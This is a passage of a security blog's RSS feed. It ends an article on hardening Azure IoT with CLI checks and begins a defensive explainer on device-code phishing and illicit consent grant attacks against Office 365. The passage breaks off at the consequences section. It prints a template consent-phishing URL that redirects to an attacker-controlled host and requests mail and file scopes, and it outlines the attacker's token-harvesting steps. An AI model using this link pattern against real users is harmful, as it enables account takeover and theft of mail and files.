<p>In order to manage Azure resources, Microsoft provides several tools, most of which can be used in CLI (Command Line Interface). The tool offering the most functionality for management is <strong>Azure CLI</strong>.</p>
<p>This tool, available for <strong>Windows</strong> and <strong>UNIX</strong> operating systems, allows a user who is a member of an Azure environment to <strong>manage and obtain information about Azure resources</strong>. It should be noted that the range of possibilities of this tool varies according to the rights that the user has over the resources in question.</p>
<p>To install it, Microsoft provides a <a href="https://learn.microsoft.com/fr-fr/cli/azure/install-azure-cli">dedicated page</a> explaining the steps for any type of environment.</p>
<p>In order to use it, all you must do is <strong>connect</strong> to an Azure user account via the chosen command interface (<strong>PowerShell</strong> or <strong>Bash</strong>), then <strong>enter the desired commands</strong>. Once the use of this tool is finished, a disconnection of the account is recommended.</p>
<p>A <strong>typical use</strong> of this tool is shown below:</p>
<table style="border-collapse: collapse; width: 100%;">
<tbody>
<tr>
<td style="width: 100%; background-color: #002060; border-color: #002060; border-style: solid;">
<p><span style="color: #ffffff;"><span style="color: #ffff00;">az</span> login [<span style="color: #808080;">-u</span> Nom d’utilisateur] [<span style="color: #808080;">&#8211;use-device</span>]</span></p>
<p><span style="color: #ffffff;">[Commandes Azure CLI] [Exemple : ]</span><br /><span style="color: #ffffff;"><span style="color: #ffff00;">az</span> resource list</span></p>
<p><span style="color: #ffffff;"><span style="color: #ffff00;">az</span> logout</span></p>
</td>
</tr>
</tbody>
</table>
<p style="text-align: justify;"><span style="font-size: revert; color: initial;">The documentation of this tool, presenting and explaining all the possible commands, is available at this </span><a style="font-size: revert;" href="https://learn.microsoft.com/fr-fr/cli/azure/reference-index?view=azure-cli-latest">address</a><span style="font-size: revert; color: initial;">.</span></p>
<p>This tool will be used later in the example of technical manipulations.</p>
<h1 style="text-align: justify;"><span lang="EN-GB" style="font-size: 20.0pt; line-height: 107%;">1st security vector: authentication of objects</span></h1>
<p>Device authentication is crucial for an Azure infrastructure as it ensures that <strong>only authorised devices can access cloud resources</strong>. Azure IoT services support two main means of authentication for IoT devices:</p>
<ul style="text-align: justify;">
<li>A <strong>SAS Token</strong> (Shared Access Signature) is a <strong>string of characters</strong> used to authenticate devices and services. An SAP token has the following structure:</li>
</ul>
<p style="text-align: justify;"> </p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20249 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image12.png" alt="" width="2426" height="637" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image12.png 2426w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image12-437x115.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image12-71x19.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image12-768x202.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image12-1536x403.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image12-2048x538.png 2048w" sizes="auto, (max-width: 2426px) 100vw, 2426px" /></p>
<p>This type of authentication has a <strong>defined validity period</strong> and permissions, which are assigned based on an access policy, on a <strong>given perimeter</strong>. The <strong>signature</strong>, on the other hand, is a crucial element because it is responsible for guaranteeing the security of communications between the object and Azure services, but also for proving the identity of the device. This signature is generated from a secret that must be <strong>specific to each device</strong>.</p>
<ul style="text-align: justify;">
<li>An <strong>X.509 certificate</strong> [2] is a digital certificate allowing <strong>strong authentication</strong> of the object. It contains information about the <strong>entity issuing</strong> the certificate, the validity period of the certificate and the<strong> identity of the subject</strong> (e.g. the object). One of the strengths of certificates is the ability to create chains of certificates, and thus <strong>create trust relationships</strong>:</li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20206 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image4.png" alt="" width="844" height="426" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image4.png 844w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image4-378x191.png 378w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image4-71x36.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image4-768x388.png 768w" sizes="auto, (max-width: 844px) 100vw, 844px" /></p>
<p style="text-align: justify;"><span style="font-size: revert; color: initial;">X.509 certificates offer a <strong>higher level of security</strong>, assuming a state-of-the-art cryptographic algorithm, as they <strong>allow trust relationships to be represented</strong>. However, the management and use of certificates can involve <strong>additional complexity</strong> for an IoT project.</span></p>
<p>In order to force the use of X.509 certificates to authenticate connected objects, it is possible <strong>to prohibit SAS tokens for an IoT Hub</strong>. Indeed, Azure IoT Hubs have three properties related to the <strong>use or not of SAS tokens</strong>: disableLocalAuth, disableDeviceSAS and disableModuleSAS. Therefore, the best practice associated with disabling SAS tokens is to set these three parameters to True. This can be done using the <strong>Azure CLI</strong> tool:</p>
<table style="border-collapse: collapse; width: 100%;">
<tbody>
<tr>
<td style="width: 836px; background-color: #002060; border-color: #002060; border-style: solid;">
<p><span style="color: #ffffff;"><span style="color: #ffff00;">az <span style="color: #ffffff;">resource update <span style="color: #808080;">&#8211;resource-group</span> &lt;Resource_Group&gt; <span style="color: #808080;">-n</span> &lt;IoT_Hub&gt;<span style="color: #808080;"> &#8211;resource-type</span> Microsoft.Devices/IotHubs <span style="color: #808080;">&#8211;set</span> properties.disableDeviceSAS=true properties.disableModuleSAS=true properties.disableLocalAuth=true</span></span></span></p>
</td>
</tr>
</tbody>
</table>
<p>Checking the values of these same parameters can also be done using the <strong>Azure CLI</strong>:</p>
<table style="border-collapse: collapse; width: 100%;">
<tbody>
<tr>
<td style="width: 836px; background-color: #002060; border-color: #002060; border-style: solid;">
<p><span style="color: #ffffff;"><span style="color: #ffff00;"><span style="color: #ffffff;"><span style="color: #ffff00;">az</span> resource show <span style="color: #808080;">&#8212;resource-group</span> &lt;Resource_Group&gt; <span style="color: #808080;">-n</span> &lt;IoT_Hub&gt; <span style="color: #808080;">&#8211;resource-type</span> Microsoft.Devices/IotHubs | <span style="color: #ffff00;">Select-String</span> <span style="color: #33cccc;">&#8220;(disableLocalAuth|disableDeviceSAS|disableModuleSAS)&#8221;</span></span></span></span></p>
</td>
</tr>
</tbody>
</table>
<p>In the example response below, the disableDeviceSAS property has been set correctly, but the other two have not.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20217 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image9.png" alt="" width="907" height="127" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image9.png 907w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image9-437x61.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image9-71x10.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image9-768x108.png 768w" sizes="auto, (max-width: 907px) 100vw, 907px" /></p>
<p style="text-align: justify;">The <strong>Azure portal</strong> also allows you to perform this verification:</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20208 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image5.png" alt="" width="580" height="317" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image5.png 580w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image5-349x191.png 349w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image5-71x39.png 71w" sizes="auto, (max-width: 580px) 100vw, 580px" /></p>
<p style="text-align: justify;">The choice of authentication method for Azure IoT will <strong>depend on the security requirements</strong> of your solution. If you need <strong>strong security</strong> and have the infrastructure to manage certificates, then <strong>X.509 certificate</strong> authentication is a good option. However, if you are looking for <strong>a solution that is simple to manage and use</strong>, the SAS token may be more suitable for your needs.</p>
<h1 style="text-align: justify;"><span lang="EN-GB" style="font-size: 20.0pt; line-height: 107%;">2nd security vector: RBAC and alerts </span></h1>
<p>The assignment of roles on your Azure IoT infrastructure must be <strong>thoughtful and defined according to the needs of the users</strong>. A <strong>precise definition of roles and permissions</strong> makes it possible to limit access to resources and to the various functionalities available on the platform. The various Azure IoT services provide a <strong>multitude of pre-configured roles</strong> that can be adapted to your needs and your organisation. Secondly, <strong>applying the principle of least privilege</strong>, and limiting the number of accounts with important privileges, allows you to <strong>improve the security level</strong> of your Azure IoT infrastructure.</p>
<p><strong>Azure CLI </strong>allows you to <strong>list the users with rights to the desired Azure IoT</strong> resource and their associated roles. The following command allows you to perform this action</p>
<table style="border-collapse: collapse; width: 100%; height: 129px;">
<tbody>
<tr style="height: 129px;">
<td style="width: 100%; background-color: #002060; border-color: #002060; border-style: solid; height: 129px;">
<p><span style="color: #ffffff;"><span style="color: #ffff00;"><span style="color: #33cccc;"><span style="color: #ffff00;">az</span> <span style="color: #ffffff;">role assignment list</span> <span style="color: #808080;">&#8211;scope</span> &#8220;/subscriptions/&lt;ID_de_souscription&gt;/resourceGroups/&lt;Resource_Group&gt;/providers/Microsoft.Devices/IotHubs/&lt;IoT_Hub&gt;&#8221; <span style="color: #808080;">&#8211;include-inherited</span></span></span></span></p>
</td>
</tr>
</tbody>
</table>
<p><span style="font-size: revert; color: initial;">It is possible to use string selectors (Select-String for </span><strong style="font-size: revert; color: initial;">PowerShell</strong><span style="font-size: revert; color: initial;">, grep for </span><strong style="font-size: revert; color: initial;">Bash</strong><span style="font-size: revert; color: initial;">) to retrieve only the desired information.</span></p>
<p>In the example below, <strong>names, types</strong> and <strong>roles</strong> were the only items retrieved using Select-String:</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20220 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image10.png" alt="" width="852" height="802" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image10.png 852w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image10-203x191.png 203w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image10-41x39.png 41w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image10-768x723.png 768w" sizes="auto, (max-width: 852px) 100vw, 852px" /></p>
<p>The Azure built-in roles feature is available on <a href="https://learn.microsoft.com/fr-fr/azure/role-based-access-control/built-in-roles">this page</a>.</p>
<p>Configuring <strong>alerts based on the metrics</strong> of your Azure IoT services is another tool to consider. Alerts can be configured to detect suspicious behaviour or anomalies, <strong>allowing for rapid investigation</strong> of your infrastructure. Azure provides its customers with a large collection of signals to define alert conditions. It is also possible to <strong>define custom alert signals </strong>via the query language used by Azure Log Analytics.</p>
<p>The <strong>Azure Portal</strong> is the easiest way to set up alerts based on the data collected by the IoT Hub. For example, to define a log alert rule, you need to:</p>
<ol style="text-align: justify;">
<li>Go to the management page of the desired IoT Hub;</li>
<li>Go to the Logs sub-category of the Monitoring category;</li>
<li>Choose a rule using the Azure Log Analytics language;</li>
<li>Add an alert rule related to this query;</li>
<li>Choose the operator, unit, threshold value, check recurrence and time period for the rule</li>
</ol>
<p style="text-align: justify;">These actions are summarised in the screenshots below:</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20210 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image6.png" alt="" width="909" height="244" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image6.png 909w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image6-437x117.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image6-71x19.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image6-768x206.png 768w" sizes="auto, (max-width: 909px) 100vw, 909px" /></p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20212 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image7.png" alt="" width="824" height="603" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image7.png 824w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image7-261x191.png 261w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image7-53x39.png 53w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image7-768x562.png 768w" sizes="auto, (max-width: 824px) 100vw, 824px" /></p>
<p>It will then be sufficient to choose an <strong>action group</strong> linked to a type of action (sending an email, SMS, etc.).</p>
<p>The example given will lead to an action if the number of failed connections of connected objects to the IoT Hub concerned exceeds 10 failures in 10 minutes or less.</p>
<p>A <a href="https://learn.microsoft.com/fr-fr/azure/azure-monitor/alerts/tutorial-log-alert">detailed guide</a> in the form of a tutorial is available on the Azure documentation. Note that this service is available at an additional cost.</p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;"><span lang="EN-GB" style="font-size: 20.0pt; line-height: 107%;">3rd vector of security: the service itself </span></h1>
<p>Finally, <strong>setting up proper configuration</strong> of Azure IoT services is a key element in improving the platform&#8217;s cyber maturity level. This includes options such as <strong>routing rules</strong> or setting the minimum version of TLS used by devices to connect to Azure IoT Hub.</p>
<p><strong>Routing rules</strong> are used to <strong>redirect messages</strong> from IoT devices to an endpoint (storage, services, database, etc.) and are configurable by routing requests. It is recommended to <strong>filter incoming messages</strong>, via routing requests, to increase the security of your IoT solution.</p>
<p><strong>Checking the minimum TLS version accepted</strong> can be done using the <strong>Azure CLI</strong>: indeed, an IoT Hub has the minTlsVersion attribute to check this property. This check is performed using the following command:</p>
<table style="border-collapse: collapse; width: 100%;">
<tbody>
<tr>
<td style="width: 100%; background-color: #002060; border-color: #002060; border-style: solid;">
<p><span style="color: #ffffff;"><span style="color: #ffff00;">az <span style="color: #ffffff;">resource show <span style="color: #808080;">&#8212;resource-group</span> &lt;Resource_Group&gt; <span style="color: #808080;">-n</span> &lt;IoT_Hub&gt; <span style="color: #808080;">&#8211;resource-type</span> Microsoft.Devices/IotHubs | <span style="color: #ffff00;">Select-String</span> <span style="color: #33cccc;">&#8220;minTlsVersion&#8221;</span></span></span></span></p>
</td>
</tr>
</tbody>
</table>
<p style="text-align: justify;">Si cette commande <strong>ne retourne rien</strong>, ou retourne <strong>une valeur inférieure à 1.2</strong>, alors la configuration <strong>n’est pas satisfaisante</strong>.</p>
<p style="text-align: justify;">Le <strong>portail d’Azure</strong> permet également d’effectuer cette vérification</p>
<p>If this command <strong>returns nothing</strong>, or returns a <strong>value less than 1.2</strong>, then the configuration <strong>is not satisfactory</strong>.</p>
<p>The <strong>Azure portal</strong> also allows you to perform this check:</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20214 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image8.png" alt="" width="668" height="315" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image8.png 668w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image8-405x191.png 405w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image8-71x33.png 71w" sizes="auto, (max-width: 668px) 100vw, 668px" /></p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;"><strong>En synthèse</strong></h1>
<p><strong>Security is a major issue for IoT projects</strong>: Microsoft, with its Azure IoT product, provides an IoT platform that meets the majority of IoT needs in a secure manner, provided that it is configured correctly. In this article, we have discussed<strong> recommendations for improving the security</strong> of your Azure IoT infrastructure.</p>
<p>It is important to keep in mind that <strong>other attack vectors exist</strong>, such as hardware and software vulnerabilities and the networks used by IoT devices.  Securing an IoT infrastructure is a <strong>complex challenge that requires an end-to-end approach</strong>.</p>
<p style="text-align: justify;"><strong> </strong></p>
<p style="text-align: justify;"><em> </em></p>
<p style="text-align: center;"><em>With the help of Marius ANDRE</em></p>
<p style="text-align: justify;">[1] “Magic Quadrant for Global Industrial IoT Platforms”</p>
<p style="text-align: justify;"><a href="https://www.gartner.com/doc/reprints?id=1-2BQFX3BJ&amp;ct=221116&amp;st=sb">https://www.gartner.com/doc/reprints?id=1-2BQFX3BJ&amp;ct=221116&amp;st=sb</a></p>
<p style="text-align: justify;">[2] “Internet X.509 Public Key Infrastructure Certificate and Certificate Revocation List (CRL) Profile”</p>
<p style="text-align: justify;"><a href="https://www.rfc-editor.org/rfc/rfc5280">https://www.rfc-editor.org/rfc/rfc5280</a></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2023/04/improving-the-security-of-your-iot-infrastructure-configuration-tips-and-best-practices-on-azure-iot/">Improving the security of your IoT infrastructure: configuration tips and best practices on Azure IoT</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2023/04/improving-the-security-of-your-iot-infrastructure-configuration-tips-and-best-practices-on-azure-iot/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Illicit consent grant attacks targeting Azure and Office 365: still a threat?</title>
		<link>https://www.riskinsight-wavestone.com/en/2023/03/illicit-consent-grant-attacks-targeting-azure-and-office-365-still-a-threat/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2023/03/illicit-consent-grant-attacks-targeting-azure-and-office-365-still-a-threat/#respond</comments>
		
		<dc:creator><![CDATA[Raymond Chan]]></dc:creator>
		<pubDate>Thu, 30 Mar 2023 09:00:00 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[Azure]]></category>
		<category><![CDATA[O365]]></category>
		<category><![CDATA[phishing]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=20161</guid>

					<description><![CDATA[<p>A quick overview of phishing techniques on Azure and Office 365 Phishing attacks are well known. The objective of this type of attack is to perform actions from a victim&#8217;s account or to retrieve information about the targeted person or...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2023/03/illicit-consent-grant-attacks-targeting-azure-and-office-365-still-a-threat/">Illicit consent grant attacks targeting Azure and Office 365: still a threat?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h1 style="text-align: justify;">A quick overview of phishing techniques on Azure and Office 365</h1>
<p style="text-align: justify;">Phishing <strong>attacks</strong> are well known. The objective of this type of attack is to perform <strong>actions</strong> from a victim&#8217;s account or to <strong>retrieve information</strong> about the targeted person or company.</p>
<p style="text-align: justify;">Despite their notoriety, they remain very effective for attackers. Indeed, among the <a href="https://www.wavestone.com/en/insight/cert-w-2022-cybersecurite-trends-analysis/">attacks investigated by Wavestone CERT</a>, about 51% of them start with the use of valid accounts, which includes <strong>phishing attacks</strong>.</p>
<p style="text-align: justify;"><strong>We are all vulnerable to phishing attacks!</strong> An attacker with enough resources and information about their target can generate <strong>a trap sophisticated enough</strong> to trick them. Similarly, the Office365 and Azure product suites have features that can be exploited in <strong>less conventional attacks, the impacts of which users may not be aware.</strong></p>
<p style="text-align: justify;"><strong>Employee awareness</strong>, while necessary to address the most common threats, is not enough to address some of the more targeted or less traditional types of attacks. <strong>Tougher access requirements</strong> to cloud-hosted resources, <strong>good hygiene in managing access rights</strong>, and <strong>detection of unusual and suspicious access</strong> are all critical to a company&#8217;s defence strategy.</p>
<p style="text-align: justify;">Attackers have a <strong>wide range of tools and possibilities</strong> to access <strong>documents stored</strong><em> on </em>a company&#8217;s <strong>SharePoint</strong>, attempt to <strong>retrieve sensitive emails</strong><em>, </em>or retrieve employee information. The traditional phishing attack as well as the device code authentication attack will be briefly explained below before looking at the illicit consent grant attacks in more detail.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">The traditional phishing attack: a known threat preventable using multi-factor authentication</h2>
<p style="text-align: justify;">Traditional phishing attacks are usually based on sending a <strong>link directing the targeted victims to a site the attacker controls</strong>. Using an authentication login page similar to those used by employees of the targeted company, the attacker <strong>retrieves the credentials and passwords of the tricked users</strong>.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20131 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image1EN-2.png" alt="" width="3408" height="2216" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image1EN-2.png 3408w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image1EN-2-294x191.png 294w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image1EN-2-60x39.png 60w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image1EN-2-768x499.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image1EN-2-1536x999.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image1EN-2-2048x1332.png 2048w" sizes="auto, (max-width: 3408px) 100vw, 3408px" /></p>
<p style="text-align: center;"><em>The traditional phishing attack is simple to implement in the absence of multi-factor authentication</em></p>
<p style="text-align: justify;">The <strong>ease of implementing</strong> such an attack on <strong>a large scale</strong> makes it a tool of choice for untargeted attacks. One method to protect against this type of attack is <strong>to enforce the use of a second authentication factor</strong>.</p>
<p style="text-align: justify;">It should be noted however that although more complex to implement, <strong>the interception of the second authentication factor is technically feasible</strong> and will be the subject of an upcoming dedicated article.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">The attack via &#8220;device code&#8221; authentication: a little-known authentication method hijacked by attackers</h2>
<p style="text-align: justify;">This attack <strong>relies on the device authorization grant functionality</strong><a href="#_ftn1" name="_ftnref1">[1]</a>. This authentication method allows <strong>the authentication of a user on a device without a web browser</strong>. A code displayed on this device must then be entered on a computer or smartphone via the dedicated Microsoft site. This <strong>device will then have part of the access rights to Office 365 resources corresponding to the user who entered the code</strong>.</p>
<p style="text-align: justify;">This <strong>functionality is not well known to users</strong> and can be exploited by an attacker for malicious purposes:</p>
<ul style="text-align: justify;">
<li>The attacker first generates a device code, using the same process used by devices without a web browser.</li>
<li>Then, the attacker&#8217;s objective will be to get the victim to fill in his device code on the <span style="color: #048b9a;">https://microsoft.com/devicelogin</span> For example, the attacker could pretend that to access a sensitive document, it is necessary to connect to this link using the code he generated.</li>
<li><strong>If the target accesses the link, fills in the code and authenticates, this will allow the attacker to impersonate the </strong></li>
</ul>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-20135 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image2EN-2.png" alt="" width="3575" height="2490" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image2EN-2.png 3575w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image2EN-2-274x191.png 274w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image2EN-2-56x39.png 56w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image2EN-2-768x535.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image2EN-2-1536x1070.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image2EN-2-2048x1426.png 2048w" sizes="auto, (max-width: 3575px) 100vw, 3575px" /></p>
<p style="text-align: center;"><em>Example of a device code phishing attack</em></p>
<p> </p>
<p style="text-align: justify;">This attack is <strong>more difficult for an attacker to carry out</strong> because of the <strong>short lifespan of the device codes:</strong> they are only valid for <strong>15 minutes</strong> and must therefore be generated shortly before the user enters them. This attack is therefore more easily carried out within the framework of <strong>&#8220;phoning&#8221; attacks or phishing via Teams</strong>. For example, the attacker could call the victim, pretending to be part of the company&#8217;s IT support team, and ask the user to authenticate on the link indicated and fill in the code of his choice.</p>
<p style="text-align: justify;">To protect against this type of attack, <strong>conditional access policies</strong> on Azure can be used <em>to </em><strong>prohibit suspicious connections from devices not under the control of the company</strong>.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Illicit consent grant attack</h2>
<p style="text-align: justify;">In addition to these two methods, the illicit consent grant attack also allows an attacker to illegitimately gain access to an Azure environment. This attack was even initially easier for an attacker to implement than attacks via device code authentication. Faced with the resurgence of this threat, <strong>actions were taken in 2020 by Microsoft to limit the conditions for carrying out the attack</strong>. While hardened Azure configurations can completely block this threat, the configurations implemented by some companies expose them to this type of attack. What are the <em>prerequisites for </em>the realization of such an attack, what are the possible <strong>consequences</strong> and <strong>how to protect yourself</strong>?</p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">What is the illicit consent grant attack?</h1>
<p style="text-align: justify;">To <strong>understand the principle of</strong> this attack, let&#8217;s put ourselves <strong>in the shoes of an employee who is a victim</strong> of such an attack:</p>
<ul style="text-align: justify;">
<li>The victim receives a <strong>phishing email</strong> indicating an urgent action to be taken to keep their Microsoft account activated. Employees are made aware not to click on phishing links and not to enter their passwords on unknown platforms. The <strong>link</strong> in the format <span style="color: #048b9a;">https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=&lt;CLIENT_ID&gt;&amp;redirect_uri=&lt;Attacker_controled_URL&gt;&amp;response_type=code&amp;response_mode=query&amp;scope=Mail.ReadWrite%20Files.Read.All%20Mail.Send%20User.Read</span> contains a <strong>Microsoft-associated domain</strong>, which reassures the victim.</li>
<li>When clicking on the link, the victim must authenticate themself. This authentication is often automatic since it benefits from Microsoft&#8217;s single sign-on (SSO). The victim then receives <strong>a request to grant permissions</strong>:</li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20145 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagebis.png" alt="" width="493" height="696" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagebis.png 493w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagebis-135x191.png 135w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagebis-28x39.png 28w" sizes="auto, (max-width: 493px) 100vw, 493px" /></p>
<p style="text-align: center;"><em>The malicious application asks the user to grant it permissions</em></p>
<ul style="text-align: justify;">
<li>If the victim clicks &#8220;Cancel&#8221; out of caution, they are redirected to the attacker&#8217;s server with a URL like <span style="color: #048b9a;">&lt;Attacker_controled_URL&gt;/?error=consent_required &amp;error_description=AADSTS65004%3a+User+declined+to+consent+to+access+the+app.&amp;error_uri=https%3a%2f%2flogin.microsoftonline.com%2ferror%3fcode%3d65004#</span>. The attacker, understanding that the victim has not accepted the prompt to grant them permissions, can then <strong>redirect the victim to the phishing page, giving them the impression that the requested permissions must be accepted</strong> to proceed to the next step.</li>
<li>Because of the legitimate domain name and the urgency indicated in the phishing email, the <strong>victim of the attack chooses to accept</strong><em>. </em>They then see a message indicating that their account will be kept activated, as suggested in the initial email. The victim then resumes normal activity.</li>
</ul>
<p style="text-align: justify;">However, this consent allows the attacker to perform <strong>actions on behalf of the victim</strong>, depending on the permissions granted. Note that the illicit consent grant attack has <strong>many advantages</strong> for an attacker, including:</p>
<ul style="text-align: justify;">
<li>The <strong>use of a Microsoft-associated URL</strong> when requesting consent, which is considered trusted and therefore implies less distrust on the part of targeted users.</li>
<li>Obtaining <em>persistent access </em>for 90 days, without knowledge of the user&#8217;s password or second authentication factor if no conditional access policy is implemented.</li>
<li>The ability to <strong>directly request Microsoft APIs</strong> to automatically retrieve files, emails, and other corporate resources accessible by the tricked user.</li>
</ul>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Technical sidebar</h2>
<p style="text-align: justify;">From a technical point of view, <strong>the illicit consent grant attack relies on the ability of an attacker to create an application that requires permission to be granted</strong>. Granting the permission is a feature that is regularly used by users without them realizing it, e.g., the Outlook client is allowed by default to retrieve and notify them of new incoming emails.</p>
<p style="text-align: justify;">Here are the key steps when performing this type of attack (which is based on the authorization code grant flow of OAuth 2.0):</p>
<ul style="text-align: justify;">
<li>The attacker <strong>creates an enterprise application on Azure AD</strong> (<span style="color: #048b9a;">application registration</span>), <strong>configures the permissions</strong> they want from <strong>users</strong> and instantiates a &#8220;<strong>client_secret</strong>&#8221; on the application. Some constraints related to this application are detailed below.</li>
<li>The attacker sets up a <strong>server to which users will be redirected</strong> following the consent and indication of its URL as a <strong>valid redirection URL for the application</strong>.</li>
<li>Following <em>a </em><strong>user&#8217;s consent</strong>, the user will be <strong>redirected</strong> <strong>to the malicious site</strong> and a <em>c</em><strong>ode will be provided to the attacker</strong>. This code is the proof to be shown to Microsoft that the user authorizes the application to do actions on their behalf.</li>
<li>Using <strong>this code </strong>and the application&#8217;s &#8220;<strong>client_secret</strong>&#8220;, the attacker will be able to <strong>retrieve an OAuth token</strong>. This token is a <strong>receipt signed by Microsoft</strong> that specifies the <strong>actions that the victim authorizes to be done on his behalf</strong>. The attacker can also retrieve a &#8220;refresh_token&#8221; that allows to <strong>renewal of the validity of the OAuth token</strong>.</li>
<li>This OAuth token can then be used to send <strong>requests to the Graph API</strong> in the name of the victim and therefore allows attackers to <strong>impersonate the user</strong>.</li>
</ul>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-20139 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image3EN-2.png" alt="" width="3169" height="1705" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image3EN-2.png 3169w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image3EN-2-355x191.png 355w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image3EN-2-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image3EN-2-768x413.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image3EN-2-1536x826.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image3EN-2-2048x1102.png 2048w" sizes="auto, (max-width: 3169px) 100vw, 3169px" /></p>
<p> </p>
<h1 style="text-align: justify;">What are the consequences of such an attack?</h1>
